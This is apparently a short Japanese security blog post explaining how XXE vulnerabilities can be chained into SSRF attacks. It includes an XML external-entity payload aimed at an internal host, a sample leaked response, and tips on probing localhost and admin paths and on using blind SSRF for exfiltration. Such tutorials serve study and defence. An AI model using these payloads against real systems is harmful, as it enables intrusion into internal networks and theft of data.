Shikata Ga Nai

Private? There is no such things.

XXEを利用したSSRF攻撃手法の解説

Hello there, ('ω')ノ

🧨 XXEとSSRFの連携とは?

XML External Entity(XXE)脆弱性を利用して、サーバー側で任意のHTTPリクエストを発生させることができます。これが Server-Side Request Forgery(SSRF) 攻撃です。


🎯 攻撃の目的

  • アプリケーションがアクセスできる 内部ネットワーク管理用システム に対して、攻撃者が強制的にリクエストを送らせることが可能になります。
  • レスポンス内容が表示される場合:双方向SSRF
  • 表示されないがリクエストが送られる場合:ブラインドSSRF

🛠 XXEを使ったSSRF例

以下のように外部エンティティを定義し、サーバー内の別システムにアクセスさせます:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

このエンティティを、アプリケーションがレスポンスとして返す任意のXMLノードに挿入します:

<request>
  <target>&xxe;</target>
</request>

📦 成功例(レスポンス表示型)

HTTP/1.1 200 OK
Content-Type: application/xml

<response>
  <target>Welcome to internal system!</target>
</response>

このように、内部ホストのレスポンス内容が取得できます。


👁 ブラインドSSRF

  • レスポンス内容は表示されないが、ログや副作用(例えばWebフック、メール通知等)によってリクエストが確認されることがあります。
  • 自分が管理する外部サーバーを使って、外部へのデータ流出や内部アクセスの検出を行うことも可能です。

💡 実践上のポイント

ポイント 説明
SYSTEM "http://..." XXEでアクセスしたい内部リソースのURLを指定
レスポンスに挿入 エンティティを必ず表示されるノードに挿入すること
内部ホスト調査 http://127.0.0.1/http://localhost/admin などを試す

🧠 SSRFは内部ネットワークのスキャン、クラウドメタデータへのアクセス、構成情報の抽出などに悪用される危険性があり、特にクラウド環境では非常に高いリスクを伴います。

Best regards, (^^ゞ